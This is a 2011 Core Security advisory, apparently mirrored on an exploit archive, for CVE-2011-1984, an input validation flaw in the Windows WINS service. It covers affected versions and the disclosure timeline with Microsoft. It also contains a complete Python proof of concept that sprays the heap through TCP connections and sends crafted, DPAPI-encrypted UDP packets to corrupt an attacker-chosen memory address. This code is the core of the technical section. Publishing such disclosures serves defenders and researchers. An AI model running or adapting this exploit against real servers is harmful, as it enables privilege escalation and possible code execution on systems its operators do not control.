MS WINS ECommEndDlg Input Validation Error

2011-09-12T00:00:00
ID 1337DAY-ID-17089
Type zdt
Reporter Core Security
Modified 2011-09-12T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
 
MS WINS ECommEndDlg Input Validation Error
 
 
1. *Advisory Information*
 
Title: MS WINS ECommEndDlg Input Validation Error
Advisory ID: CORE-2011-0526
Advisory URL:
http://www.coresecurity.com/content/ms-wins-ecommenddlg-input-validation
Date published: 2011-09-12
Date of last update: 2011-09-12
Vendors contacted: Microsoft
Release mode: Forced release
 
 
2. *Vulnerability Information*
 
Class: Input validation error [CWE-20]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2011-1984
 
 
3. *Vulnerability Description*
 
A security vulnerability was discovered in the Windows Internet Name
Service (WINS). The vulnerability could allow elevation of privilege if
a user receives a specially crafted WINS replication packet on an
affected system running the WINS service. An attacker must have valid
logon credentials and be able to log on locally in order to exploit this
vulnerability.
 
Malicious packets are processed by the vulnerable function
'ECommEndDlg', reported in MS11-035 [1], but this time the pointers
handled by this function are controlled by the attacker.
 
*Important:* Given that this vulnerability is triggered by sending a
specially crafted packet to the dynamic UDP port of the WINS service
(which is binded to the loopback address '127.0.0.1'), this
vulnerability can result in an elevation of privilege. Despite that, in
old W2003 SP0 systems, the dynamic UDP port is binded to the '0.0.0.0'
address, allowing remote code execution.
 
 
4. *Vulnerable packages*
 
   . Windows Server 2003 SP0, SP1 and SP2.
   . Windows Server 2003 x64 Edition SP2.
   . Windows Server 2003 SP2 for Itanium-based Systems.
   . Windows Server 2008 SP2.
   . Windows Server 2008 x64 Edition SP2.
   . Windows Server 2008 R2 for x64-based Systems.
   . Other versions and platforms are probably affected too, but they
were no checked.
 
 
5. *Non-vulnerable packages*
 
   . Windows XP SP3.
   . Windows XP Professional x64 Edition SP2.
   . Windows Vista SP2.
   . Windows Vista x64 Edition SP2.
   . Windows Server 2008 for Itanium-based Systems SP2.
   . Windows 7.
   . Windows 7 for x64-based Systems.
   . Windows Server 2008 R2 for Itanium-based systems.
 
 
6. *Credits*
 
This vulnerability was discovered and researched by Nicolas Economou
from Core Security Exploit Writers Team. The publication of this
advisory was coordinated by Fernando Miranda from Core Security
Advisories Team.
 
 
7. *Technical Description / Proof of Concept Code*
 
7.1. *Proof of Concept*
 
The following PoC was tested on WINS 5.2.3790.4849, W2003 SP2. This
Python code generates 300 TCP connections to the 42 port (the limit of
active WINS connections), and sends an UDP packet to the dynamic port
handled by WINS. The packet is processed by the vulnerable function
'ECommEndDlg', reported in MS11-035 [1], but this time the pointers
handled by this function are controlled by the attacker. As a result,
this code increments +1 the memory address passed through the command
line. For example, the memory address 0x10c00 is typically mapped in the
WINS process and it can be used.
 
/-----
##
 
import sys
import socket
import struct
import time
import os
 
from ctypes import *
from ctypes.wintypes import DWORD
 
LocalFree = windll.kernel32.LocalFree
CryptProtectData = windll.crypt32.CryptProtectData
CryptUnprotectData = windll.crypt32.CryptUnprotectData
memcpy = cdll.msvcrt.memcpy
 
CRYPTPROTECT_LOCAL_MACHINE = 0x04
 
class DATA_BLOB(Structure):
     _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]
 
 
def get_data(blob):
     cbData = int(blob.cbData)
     pbData = blob.pbData
     buffer = c_buffer(cbData)
     memcpy(buffer, pbData, cbData)
     LocalFree(pbData);
     return buffer.raw
 
def Win32CryptProtectData(plain):
     buffer = c_buffer(plain, len(plain))
     iblob = DATA_BLOB(len(plain), buffer)
     oblob = DATA_BLOB()
     if CryptProtectData(byref(iblob), u"win32crypto.py", None, None,
None, CRYPTPROTECT_LOCAL_MACHINE, byref(oblob)):
         return get_data(oblob)
     else:
         return None
 
def send_packet (sock, ip, port, message):
    packet = ""
    packet += message
    sock.sendto(packet, (ip, port))
 
################################################################################
 
# Check args
if len(sys.argv) != 4:
    print "\nusage: python wins_poc.py wins_tcp_dynamic_port
wins_udp_dynamic_port writeable_address(hex)"
    print "\nNote: On Windows 2003, the udp dynamic port is the same
number of the tcp port less one"
    sys.exit(0)
 
# Get ports dinamically
tcp_dynamic_port = int(sys.argv[1])
udp_dynamic_port = int(sys.argv[2])
writeable_address = int(sys.argv[3], 16)
 
# Target IP
target_ip = "127.0.0.1"
 
################################################################################
 
# Create connections to do a heap spray
rpc_connections = []
for i in range(0, 1000):
    try:
        p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        p.connect((target_ip, tcp_dynamic_port))
        rpc_connections += [p]
    except Exception, e:
        break
 
# Struct that is validated by WINS
magic_struct  = ""
magic_struct += "a" * 0x0c
magic_struct += struct.pack("I", writeable_address-0x14)
magic_struct += struct.pack("I", 0)
magic_struct += struct.pack("I", 4)
magic_struct += "b" * (0x20-len(magic_struct))
magic_struct += struct.pack("I", 1)
magic_struct += "c" * (0x2c-len(magic_struct))
magic_struct += struct.pack("I", 0x10c00)
magic_struct += "d" * (0x38-len(magic_struct))
magic_struct += struct.pack("I", 0)
 
# Data con la forma de la estructura que triggerea el bug
data  = ""
data += magic_struct
data += "B" * (0x4000-len(data))
data += "filling"
 
# Create connections to do a heap spray
for p in rpc_connections:
    try:
        p.send(data)
    except Exception, e:
        pass
 
# Get to the limit od WINS connections
print "connecting ..."
ps = []
for i in range(0, 300):
    p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    p.connect((target_ip, 42))
    ps += [p]
 
# Go through an area 32Kb
for offset in range(0, 0x8000, 4):
    # Data to send
    data  = ""
    data += struct.pack("I", 0)
    data += "A" * 0x0c
    data += struct.pack("I", 0)
    data += struct.pack("I", 0x05000000+offset)
 
    # Encrypt
    data2 = Win32CryptProtectData(data)
 
    # Send the poisoned packet
    p = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    send_packet(p, target_ip, udp_dynamic_port, data2)
    p.close ()
 
# Close all sockects
print "closing TCP connections ..."
for p in ps:
    p.close()
 
for p in rpc_connections:
    p.close()
 
-----/
 
 
8. *Report Timeline*
 
. 2011-06-07:
Core Security Technologies notifies the MSRC of the vulnerability,
setting the estimated publication date of the advisory to July 5th,
2011. Technical details sent to the vendor.
 
. 2011-06-07:
Vendor acknowledges receipt of the information and notifies the case
11427 was opened for handling this report.
 
. 2011-06-08:
MSRC notifies they will not be able to meet the initial release schedule
set in July. MSRC will contact Core with a tentative timeline as soon as
the product team has reproduced the issue.
 
. 2011-06-15:
MSRC notifies that they have successfully reproduced this issue and can
confirm the vulnerability results in an Elevation of Privilege instead
of Remote Code Execution; the reason for this is that the dynamic UDP
port that is opened only listens on the loopback address. Despite that,
MSRC will still be issuing a Security Update.
 
. 2011-06-17:
MSRC notifies that they are currently planning the development of the
fix. MSRC also notifies that they should have a good idea when a fix
will be available in a week.
 
. 2011-06-17:
Core requests a status update and an estimated release date.
 
. 2011-06-24:
MSRC notifies they are currently targeting Sep 13th 2011 to release the
security update.
 
. 2011-07-06:
Core agrees to reschedule the advisory to Sep 13th.
 
. 2011-08-31:
MSRC notifies they are still on track to release the update in September.
 
. 2011-09-08:
Core notifies that everything is ready for public disclosure next
Tuesday 13th.
 
. 2011-09-09:
MSRC notifies that, by error, the bulletins were unintentionally
published last night. MSRC has taken down the bulletins and is
evaluating what next steps are needed to take prior to next Tuesdays.
MSRC asks delay the Core advisory until next Tuesday.
 
. 2011-09-09:
Core confirms that RSS reports regarding the Microsoft Security Bulletin
MS11-070 were leaked and the information is available in some security
blogs and security discussion lists [2][3][4]. These leaked reports
include the vulnerability reported by Core: "Vulnerability in WINS Could
Allow Elevation of Privilege (2571621)".
 
. 2011-09-09:
Core notifies that advisories are not usually released on Fridays and
announces that the advisory will be released Monday 12th.
 
. 2011-09-12:
CORE-2011-0526 is published as forced release.
 
 
9. *References*
 
[1] MS11-035,
http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
[2]
http://arstechnica.com/microsoft/news/2011/09/microsoft-posts-security-bulletins-four-days-early-scrambles-to-fix-mistake.ars
[3] http://www.smokey-services.eu/forums/index.php?topic=132827.0
[4] http://pastebin.com/DT3w5G19
 
 
10. *About CoreLabs*
 
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
 
 
11. *About Core Security Technologies*
 
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and prove real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
 
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
 
 
12. *Disclaimer*
 
The contents of this advisory are copyright (c) 2011 Core Security
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/



#  0day.today [2018-03-28]  #